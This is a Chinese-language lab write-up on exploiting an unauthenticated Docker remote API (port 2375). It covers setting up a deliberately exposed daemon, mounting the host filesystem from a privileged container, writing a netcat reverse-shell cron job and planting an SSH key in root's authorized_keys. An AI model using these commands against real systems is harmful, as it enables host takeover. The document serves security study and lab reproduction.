1.docker unauthorized-rce 基本情況
docker swarm是一個將docker集群變成單一虛擬的docker host工具,使用標準的Docker API,能夠方便docker集群的管理和擴展,由docker官方提供:
- 需要在每臺機器上安裝docker,并且運行Docker Swarm container
- 需要一個或多個Swarm manager(主從)來管理docker 節點
- 管理的docker節點上需要開放一個TCP端口(2375)來與Swarm manager通信
當Docker守護進程被配置為監聽網絡端口(通常是TCP端口2375)且未啟用適當的身份驗證機制時,攻擊者可以未經授權訪問Docker API。利用此漏洞,攻擊者可以在主機系統上創建、修改和執行容器,可能導致遠程代碼執行、數據竊取以及完全控制主機系統。
實際上,這也并非是個漏洞,因為官方文檔實際上介紹過上述問題和安全加固方法的(TLS認證或網絡訪問控制)。
?docker -H tcp://192.168.150.133:2375 ps -a? ?等同于 docker ps -a
docker -H tcp://192.168.150.133:2375 pull alpline???等同于 docker pull alpline?
2.如何利用
顯然,如果能夠連接上某個機器的docker api,通過容器逃逸,可以拿到更高的權限。
- 寫公鑰,ssh登錄
- 寫定時任務,反彈shell
3.環境搭建
要復現這個漏洞,并且成功實現ssh登錄或反彈shell,實際上還要調整配置細節。
3.1 vulhub docker環境
由于在國內,docker環境最大的問題是docker源的問題,很多docker源已經失效,阿里巴巴的docker鏡像加速只能在阿里巴巴的vps中使用,截止2025年9月,docker鏡像源有用是這個:
{"registry-mirrors": ["https://docker.1panel.live","https://docker.1ms.run","https://dytt.online","https://docker-0.unsee.tech","https://lispy.org","https://docker.xiaogenban1993.com","https://666860.xyz","https://hub.rat.dev","https://docker.m.daocloud.io","https://demo.52013120.xyz","https://proxy.vvvv.ee","https://registry.cyou","https://mirror.ccs.tencentyun.com",]
}
按照github項目上給出的說明,拉取漏洞鏡像,通過http://ip:2375訪問,可驗證漏洞存在。
但是繼續下一步的容器逃逸是難以做到的,因為vulhub起來的是一個有漏洞的容器鏡像,它的2375端口映射到宿主機的2375端口,但宿主機本身的docker api沒有對外公布,因此,即便容器逃逸也只是拿到了容器的完全控制權。
此外,由于容器本身docker源地址網絡不可大,docker pull拉取鏡像也會一直失敗。
3.2 自己搭建有docker 未授權訪問漏洞環境
從清華鏡像源,下載Ubuntu最新版本,安裝好后。
- 安裝docker
- 修改docker源
sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<- 'EOF' {"registry-mirrors": ["https://docker.1panel.live","https://docker.1ms.run","https://dytt.online","https://docker-0.unsee.tech","https://lispy.org","https://docker.xiaogenban1993.com","https://666860.xyz","https://hub.rat.dev","https://docker.m.daocloud.io","https://demo.52013120.xyz","https://proxy.vvvv.ee","https://registry.cyou","https://mirror.ccs.tencentyun.com",] }EOFsudo systemctl daemon-reload && sudo systemctl restart docker
- 安裝openssh 。 輸入ssh命令,按照提示部署就行。這一步是必須的,因為默認情況下,Ubuntu系統不會開啟ssh服務。
- 修改docker,開啟docker api 對外服務?
找到 /usr/lib/systemd/system
修改docker.service服務,注釋掉以前的,保存后重啟docker服務。
#ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H fd:// --containerd=/run/containerd/containerd.socksudo systemctl daemon-reload && sudo systemctl restart docker
3.3 攻擊機kali
在清華鏡像源中下載kali,安裝docker。
4.容器逃逸
4.1 拿到文件系統權限
基本思路,就是掛載根目錄到容器中。
首先,使用docker拉取一個小容器,,然后進入這個容器,掛載根目錄。
docker -H tcp://192.168.150.133:2375 pull alpinedocker -H tcp://192.168.150.133:2375 run -it --privileged alpine /bin/sh
fdisk -l #一般會看到很多分區,選擇系統分區就行,如果沒有提示哪個是系統分區,是因為容器問題,選大的就行
mkdir /mmt
mount /dev/sda2 /mnt
cd /mnt
touch flag.txt # 可以去宿主機根目錄看看是否有這個文件
也可以直接 進入容器時候就掛載
docker -H tcp://192.168.150.133:2375 run -it -v /:/mnt alpine /bin/sh
4.2? 寫定時任務
Ubuntu的定時任務在/var/spool/cron/crontab/root之中,可以用nc工具建立一個反彈shell
官方說明也是這種方式
* * * * * /usr/bin/nc your-ip 21 -e /bin/sh
這里要特別提醒一下, Ubuntu一般禁止使用root用戶,因此寫入的定時任務大概率不會執行,還有一點是目錄記得是/var/spool/cron/crontab/root,不是文檔里的/etc/crontabs/root。
4.3 寫公鑰
利用kali中的工具生產一堆rsa公鑰,記住公鑰和私鑰的位置:
ssh-keygen -t rsa ??
在原有的文件系統權限下,復制公鑰到公鑰文件中(容器界面)
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWcZibJHyQbAimd9n3WLntDkLQvg1F0qcMnwsiuZmbqCbkmr56lM3ETJ/8zYXCZ7gz3RLhlFipoS6E5yEYkeNEcmskF+XHuU5d3hF6UmfxzqS1zvm1x7QA08YbIhNJdy4KtU54yJWLyEl7Smjiz01f/RToYizejtrNukaYAj4jnHGTFwKNrvpQaY4AhjThRitoXhDVmx+WTliBA71YM/YBac2SHjHh1BVMURdhDNtJWDV11tXmaeTnjSU3kX3rrD7KO2AsN7FysHYa3gSrX+cGj2HEfiCTmle53iHXF5WFwza7abOB/Zh/Ku3u9flxUvhQmNh3+2Abp9O7DDGV7Ggp9lsYR9poIvMntBUoYK8rcnrb0KiLcniw9ogkBtMt8Wx1/mbt/JGj9kzVS2yD4Fitltzut5MQZgaTY+CQUzC+rLD5Cjmao6Lnw/vrwWt2lHD4MUWbFUKuNH79XFPuANApTqi/YP0tETyNCLbQSvnHxVTthndiKVP/k28whr1YgFE= root@kali > /host/root/.ssh/authorized_keys
使用私鑰登錄
ssh -i ~/.ssh/id_rsa root@192.168.150.133